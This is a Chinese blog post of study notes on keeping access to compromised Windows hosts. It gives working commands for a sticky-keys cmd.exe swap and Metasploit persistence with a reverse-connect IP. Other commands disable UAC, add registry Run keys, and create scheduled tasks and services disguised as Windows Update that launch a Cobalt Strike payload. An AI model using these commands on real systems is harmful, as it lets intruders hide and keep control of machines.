許可權維持專題:作業系統許可權維持

1_Ry發表於2021-12-05

突然意識到了許可權維持的重要性,之前一直都把重點放在如何獲取許可權,而卻忽視了獲取許可權之後如何維持,本文作為學習筆記記錄一下,歡迎探討

輔助功能後門

輔助功能提供了其他選項(螢幕鍵盤、放大鏡、螢幕閱讀等),可以幫助殘疾人更輕鬆地使用Windows作業系統但是,此功能可能會被濫用,以在已啟用RDP且已獲得管理員級別許可權的主機上實現永續性。

螢幕鍵盤:C:\Windows\System32\osk.exe
放大鏡:C:\Windows\System32\Magnify.exe
旁白:C:\Windows\System32\Narrator.exe
顯示開關:C:\Windows\System32\DisplaySwitch.exe
應用程式開關:C:\Windows\System32\AtBroker.exe
粘滯鍵:C:\Windows\System32\sethc.exe
輔助功能:C:\Windows\System32\utilman.exe

 

粘滯鍵後門

以粘滯鍵後門舉例

在 Windows主機上連續按5次“ Shift”鍵,就可以調出粘滯鍵。 Windows的粘滯鍵主要是為無法同時按多個按鍵的使用者設計的。例如,在使用組合鍵“Crl+P"時,使用者需要同時按下“Crl和“P”兩個鍵,如果使用粘滯鍵來實現組合鍵“Crl+P”的功能,使用者只需要按一個鍵。

為什麼說粘滯鍵可以變成後門呢,因為電腦在鎖屏的時候也可以觸發粘滯鍵,所以只要替換了粘滯鍵的命令就能實現許可權維持

用可執行檔案 sethc.exe.bak替換 windows\system32目錄下的粘滯鍵可執行檔案 sethc.exe,命令如下。

cd c:\windows\system32
move sethc.exe sethc.exe.bak
copy cmd.exe sethc.exe

不過現在的伺服器一般都沒有辦法用這種方式執行
我們還可以利用msf裡面自帶的模組進行後門的留取

以利用msf裡面自帶的模組進行後門的留取

use post/windows/manage/sticky_keys
set session 1
set target UTILMAN
exploit

target可以設定不同的留後門方法,其中就有粘滯鍵

 C:\Windows\System32\sethc.exe 粘滯鍵 快捷鍵:按五次 shift 鍵
C:\Windows\System32\utilman.exe 設定中心 快捷鍵:Windows+U 鍵
C:\Windows\System32\osk.exe 螢幕鍵盤

粘滯鍵攻擊win2008(win10攻擊失敗)

針對粘滯鍵後門,可以採取如下防範措施。

  • 在遠端登入伺服器時,連續按5次" Shift”鍵,判斷伺服器是否被入侵。
  • 拒絕使用 sethc.exe或者在“控制皮膚”中關閉“啟用粘滯鍵”選項。

 

登錄檔注入後門

登錄檔是windows作業系統中的一個核心資料庫,其中存放著各種引數,直接控制著windows的啟動、硬體驅動程式的裝載以及一些windows應用程式的執行,從而在整個系統中起著核心作用。

Win+r 輸入regedit進入登錄檔編輯器

如下是控制計算機啟動項的登錄檔資訊。

Run中的程式是WINDOWS初始化後才執行的,而RunService中的程式是在作業系統啟動時就開始執行的,也就是說RunServices中的程式先於Run中的程式執行,如電源管理程式。

#當前使用者所用資訊儲存地
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServicesOnce

#機器軟硬體資訊的集散地
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServicesOnce
HKEY_LOCAL_MACHINE\Software\wow6432node\microsoft\windows\currentversion\Run

#新增 REG ADD “KeyName”
/v “ValueName” /t REG_SZ /d “Data” /f #操作HKEY_LOCAL_MACHINE需要高許可權 #KeyName 遠端機器名 - 忽略預設到當前機器。 #/v 所選項之下要新增的值名稱。 #/ve為登錄檔項新增空白值名稱(預設)。 #/t RegKey 資料型別 REG_SZ型登錄檔值項沒有長度限制 #/d 要分配給新增的登錄檔ValueName 的資料。 #/f 不用提示就強行覆蓋現有登錄檔項。
#查詢 reg query “KeyName” \v ValueName #不需要許可權

#刪除 reg delete “KeyName” \v ValueName
/f #操作HKEY_LOCAL_MACHINE需要高許可權 /f不用提示,強制刪除。不加會詢問是否刪除

msf登錄檔後門

run persistence -U -i 5 -p 5555 -r 192.168.200.36

-S:系統啟動時載入

-U:使用者登陸時載入

-X:開機時自動載入

-i:回連的時間間隔

-r:你的接收shell的電腦IP

 

 想重啟監聽看看能不能上線,但是試了win10、win7、win2008都不能利用。而win7還給我搞炸了。每次開啟就會一直彈窗....

 

登錄檔

指定當程式嘗試對計算機進行更改時是否將 Windows 使用者帳戶控制 (UAC) 通知使用者。 UAC 以前稱為受限使用者帳戶 (LUA)。

使用命令將EnableLUA 設定為0(後面試了一下好像改不改這個都無所謂)

shell reg add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f

查詢

shell reg query "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System"

直接插入登錄檔裡,成為自啟動檔案

shell reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v shell /t REG_SZ /d "C:\Users\testuser\Desktop\cs_shell.exe" /f

查詢是否設定成功

shell reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run"

 可以看到設定成功

重啟試試看——成功上線

 

 計劃任務後門

計劃任務在 Windows7及之前版本的作業系統中使用at命令呼叫,在從 Windows8版本開始的作業系統中使用 schtasks命令呼叫。計劃任務後門分為管理員許可權和普通使用者許可權兩種。管理員許可權的後門可以設定更多的計劃任務,例如重啟後執行等。

 at計劃任務:

at \\192.168.200.36 13:56 C:\shell.exe   #建立一項計劃任務到時間開啟shell.exe程式

schtasks計劃任務。參考Schtasks命令詳解_jataflf的專欄-CSDN部落格

schtasks /create /s 192.168.200.36 /tn test /sc once /st 17:07 /tr c:\shell.exe /ru system /f   #建立一次計劃任務
schtasks /create /s 192.168.200.36 /tn test /sc onstart /sd 12/4/2021  /tr c:\shell.exe /ru system /f   #系統啟動時執行計劃任務
schtasks /create /s 192.168.200.36 /tn test /sc minute /mo 10 /tr c:\shell.exe /ru system /f #每十分鐘執行一次計劃任務

 

使用cs的後門演示計劃任務

使用cs生成一個exe後門,上線cs假設獲取了目標主機的許可權,現在開始進行許可權維持

 上線之後進行計劃任務

每分鐘執行一次

schtasks /create /tn WindowsUpdate /tr "C:\Users\fish\Desktop\cs_shell.exe" /sc minute /mo 1 /ru System /f

或者當系統啟動時執行

schtasks /create /tn WindowsUpdate /tr "C:\Users\fish\Desktop\cs_shell.exe" /sc onstart /ru System /f

可以看到一開機就自動上線

 

 服務自啟動

 有點類似與計劃任務,但是隻能開機時啟動,sc作用是在登錄檔和服務資料庫中建立服務項,微軟查到的意思是為登錄檔中的服務和服務控制管理器資料庫建立子項和項

假設拿到了目標主機的shell,可以輸入如下語句建立服務自啟動後門 

sc create "test" binpath= "C:\Users\fish\Desktop\cs_shell.exe" start=auto displayname="Windows-Update"
sc description "test ""測試" net start "test"
sc query test #查詢服務項
sc delete test #刪除

 開啟這個服務測試一下,成功上線

 

工作管理員可以檢視到設定的服務

重啟win10之後依舊上線

 

啟動資料夾

簡單的提一嘴

Windows系統都有一個“啟動”資料夾,把需要開啟的程式的快捷方式放到“啟動”資料夾裡,就可以實現開機自動啟動。

如果想要實現應用程式在所有的使用者登入系統後都能自動啟動,就把該應用程式的快捷方式放到系統啟動資料夾裡

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp

如果想要實現某個應用程式只在某個使用者登入系統時自動啟動,那麼就把該應用程式的快捷方式放到這個使用者啟動資料夾裡。

C:\Users\fish\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup


相關文章